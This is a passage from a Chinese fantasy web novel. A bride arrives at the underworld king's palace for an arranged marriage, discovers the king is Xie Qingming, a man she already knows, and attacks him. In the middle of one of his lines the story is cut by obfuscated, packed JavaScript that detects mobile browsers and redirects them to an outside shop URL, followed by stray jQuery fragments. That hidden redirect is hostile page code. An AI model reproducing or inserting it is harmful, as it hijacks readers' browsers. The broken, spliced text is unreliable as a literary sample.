入夜后,最先出现的长庚星升上了天空。屋子里没有点灯,夜色渐渐淹没了一切。
打扮停当的新嫁娘正静静坐在床边。两个喜娘用沙哑的嗓音宣布吉时已到,然后给她蒙上盖头,静悄悄地退出去了。金风和韩无刃进来和她握了握手,很快就被一小队护卫轰了出去。
房门吱呀一声合拢了,卧室里只剩下迟复樱一个人。
她一把掀开盖头,大口呼吸着新鲜空气。笼罩着酒肆的结界被拨到了一边,就像拉开一半的帘子。一架没有轿夫的花轿,正静静地漂浮在窗外的高空中,就像浸泡在黑暗中的大红灯笼。
迟复樱一手拎着盖头,一手拎着一个小包,里边装着她换下来的外袍。本来,她准备直接在自己的衣服外面套上大红婚服,谁知这套婚服的剪裁可丁可卯,腰身束得很细,最后她只留了一身贴身的衬裙。跨上窗台时,她还要格外小心控制动作幅度,才安然无恙地迈进了花轿,没有让紧巴巴的婚服当场撕裂。
正要伸手放下轿子的门帘,迟复樱忽然愣住了。鹅毛般的雪片无声无息地落了下来,很快就连成一片,密不透风。方才还晴朗剔透的星空,转眼被厚重的云层覆盖了。北风一阵强似一阵,冥界的冬天在今夜降临了。
花轿悠悠地飘动起来,穿过一层又一层的雪幕,向着冥王宫的方向飞去。如果长街上的人此时抬头看见一顶飞天花轿,不知该多么毛骨悚然。迟复樱两手缩在宽宽的袖子里,抓紧了一样东西。
那是方才韩无刃跟她握手时,塞进她手里的雕花七彩包子。当时满地护卫虎视眈眈,她们三人谁都没有说话,但迟复樱立刻就明白了他的意思:如果她在冥王宫命悬一线,就用弹弓将这颗包子打上高空,让它在云端炸开、化为五颜六色的烟花。金风和韩无刃今晚一定会在房顶上盯着,一旦看见这朵礼花信号,就会想办法去营救她。
但她并不想打算动用这颗信号。虽然她人已经上了和亲的花轿,但酒肆的封锁暂时还没有解除,崇德那些手下把院子围了个水泄不通。韩无刃不擅长打斗,金风一人一棍也难敌众多护卫。况且她们就算冲破了包围、一路高歌猛进地闯进了冥王宫,难道还能打得过冥王吗?
今晚,迟复樱势必要先发制人。无论威逼还是利诱,都要暂且稳住冥王。顺利的话,她就能跟冥王交换条件,比如帮他几个大忙,然后坐他的马车回家。到那时候,她身边得有几个帮手才行。
好在,方才她和金风握手告别时,也往金风的手里塞了一样东西。那是她趁着喜娘给她梳头描眉时,偷偷用画眉的黛笔写在一张小抄纸条上的。上面写清了桃幺和桃双这对兄妹的姓名和特征,让金风和韩无刃得空时悄悄给桃幺捎个信。
为了省纸,信函内容就写在小抄的背面:桃幺兄,在下浪花大王,不日就要前往冥王宫当杂役赚钱糊口。若君有意叙旧,或有我能帮上忙的事,可随时来附近找我。
桃双年纪尚小,迟复樱不想将她牵连进来。但桃幺已经是个成年妖,上次听他话里话外,时常流露出对上城区富户的羡慕之意。如果他见迟复樱进了冥王宫、靠近了财富和权力,想要结交她这个朋友,自然就会来冥王宫附近跟她搭线了。到时她就可以和他谈谈报酬,请他当自己的干事。如果他没有来,她也不便再去强求。
寒气渗入了花轿,门帘上已经爬满了冰霜。虽然这具身体不畏严寒,迟复樱还是觉得冬天不如春夏那么怡人。在一路的胡思乱想中,花轿徐徐降落在冥王宫的正门前。
凝神屏息地等了片刻,花轿外面静悄悄的,连一个前来迎接的纸人都没有。迟复樱小心地掀开帘子,走进呼啸的风雪中。
大门紧闭,院内漆黑,根本不像是要迎娶新娘的架势。迟复樱简直怀疑五木仙人到底有没有来送信?转念一想,崇德还想靠着这场和亲来讨好君主,想必该通知冥王的还是通知到位了。
她在心里暗骂了一句,就按照上次来踩点时的办法,驾轻就熟地起跳,在外墙和树干之间弹来弹去,以之字形的路线跳上了围墙。然后将盖头往下一抛,人也跟着跃了下去。坠到半空中,脚尖在盖头上一踏,借着这股托力再次跳下,迟复樱轻飘飘地落到地上。
空荡的前院,夹道的枯树,全都落上一层厚实的白雪,看起来倒是整洁了许多。迟复樱担心自己这套婚服太惹眼,就先将它变成了黑色。然后提着小包,一步一探地走向冥王的寝宫。
每往前走一步,她的心脏就像擂鼓似的跳一下。再过一会儿,冥王看清了她的脸,就会发现上次砸了冥王宫的人,这次居然成了前来和亲的冥王妃,而且是自己拎着包翻墙进来的!到时他一定认为这个女人为了接近他,竟然无所不用其极,所以她得在他动手之前抢占先机。
转过石壁,只见寝宫的大门敞开着,里面却没有点灯。迟复樱站在门前,只觉得这是一张黑洞洞的大嘴向自己张开。她取下掖在腰间的黑盖头,自己蒙在了头上。
也就是在这一瞬间,她突然觉得当恶人其实没有好报。自己揍完崇德又揍罪花,结果非但没有交好运,反而过得越来越糟心,现在竟然来跟一个虐杀狂和亲!
来不及细想,殿内突然响起幽幽的问话声:“又是什么人来找死了?”
声音四下回荡,像铁棒似的撞击着迟复樱的耳膜,又像刀锋一样冷峻锐利。迟复樱心里咯噔一下,难道五木仙人已经被他杀死了?她双手提着小包,老实巴交地垂着头,尖声尖气地说:“大王,五木仙人大概来向您报过喜了。”
尽管蒙在盖头里,她确信寝殿深处传来细微的响动。有人疑惑地哼了一声:“恩?”
那声音轻得像一片雪花落在热茶水上,转眼就化开了。然而,从那上扬的尾音里流露出的惊奇和疑惑,让迟复樱心头一紧。冥王认出她了。
对面十分玩味地啧了一声。接着,轻捷有力的脚步声从大殿深处传来,一步一步,越来越近。这是冥王第一次在她面前露面,随着他的靠近,迟复樱几乎能感觉到强健而滚烫的气息扑面而来,像纱一样包裹了她的全身。
她又说了一遍:“大王,想必五木仙人都向您如实禀报啦。”这次没再捏着嗓子,声音清澈沉稳,字正腔圆。从盖头下端的缝隙看出去,她的臂弯里已经积了一层雪。
冥王说:“进来。”
听起来,他的声音和她只隔了几步远。离奇的是,这声音仍然带着回音,从四面八方飘荡过来,听起来失真至极。迟复樱提起繁重的裙摆,小心地踏进了寝殿。她往前走了三步,两人的距离更近了。只听他说:“放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468793|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下吧。”
“什么?”迟复樱一时迷惑了,莫非冥王是叫她放下心中的执念,别再想着回家?
他冷冷地说:“你手里的东西,放下。你,走人。”
迟复樱惊呆了。冥王到底是何方变态,才会开口要她穿过的衣裙?她只得将小包放在地上,尽量委婉地说:“这东西不值钱,大王竟然喜欢,真是这东西的荣幸。”
“不值钱?”冥王反问道,“你们的五木仙人跑到我宫门外大喊了一通,说是君主要给我献上珍宝,以示友好之意。结果就是这么个不值钱的东西?”
迟复樱这才明白,五木仙人这老家伙留了个心眼,根本没来面见冥王,而是在宫门外大玩文字游戏,把和亲一事说成了献宝。她硬着头皮,嗲声嗲气地说:“大王,珍宝就是我呀。”说话间,身上的婚服和头顶的盖头都唰地变回了红色。
这场突如其来的变装秀和真人献礼,显然给冥王极大的冲击,以至于他发出了一声闷哼。听着动静,似乎还往后退了两步。迟复樱乘胜追击,十分谄媚地说:“信徒来跟您和亲啦。”
对面几乎破音:“你?”
迟复樱说:“君主为了表示跟您和平共处的诚意,特意选拔出最纯正的信徒送来和亲。大王,我不仅来跟您和亲,还来帮您解决您最关心的事……”
刚一说完,她就猛地意识到这句话歧义颇深。果然,冥王似乎全身都在发颤:“解决……什么事……”
迟复樱生怕他又冻自己,急忙说:“生意!生意上的事!”
冥王忽然咬牙切齿地质问道:“你知道我是谁么?你根本没见过冥王,为什么非要嫁过来?我能给你什么好处?让你如此鬼迷心窍?”
听他暂时没有杀人的意思,迟复樱反而更加大胆起来,往前踏了两步:“大王,按照礼法,您要掀我的盖头……”
话音未落,她只觉得头顶一轻,眼前豁然开阔。盖头被挑飞了出去,她和冥王之间再无屏障。迟复樱的大脑空白了一瞬间,为即将看见冥王的脸而亢奋不已。
当她仰起脸看向面前的人时,却只觉得整个世界都被冻住了,只有眼前那张熟悉的脸散发着妖冶的光华,让她的呼吸都骤然停歇。
谢清鸣与她近在咫尺,正低垂着眼帘,恶狠狠地俯视着她。他的眉头低低地压了下来,让双眼出奇的深和亮;眉尾却向斜上方高高飞起,其锋芒令人触目惊心。当他的目光凝聚在她脸上时,又突然变得朦胧涣散了。
多日不见,他仍然身穿银白衣衫,头顶一枚玉环,只是在昏暗的光线中,这张白脸显得益发苍白。他的嘴唇绷得很紧,线条比平时更为坚毅和柔韧。
然后,那张嘴微微启开,好像要说些什么。冰霜却无声无息地爬上了迟复樱的衣裙,久违的杀意像花纹一样弥漫上来,就像她初次闯入冥王宫时那样。
电光火石之间,迟复樱心里闪过两个念头:他不是来偷东西的,他就是冥王本尊。他不是去酒肆躲清闲的,他是去刺探她的。
亮光一闪,一柄钢叉大小的弹弓破开寒冷的空气,闪电般地戳向他的脖子。
谢清鸣吃了一惊,急忙向后一跃,落在几丈开外。迟复樱早已搭弓架臂,一颗拳头大的冰坨倏地射了出去,决绝地飞向谢清鸣。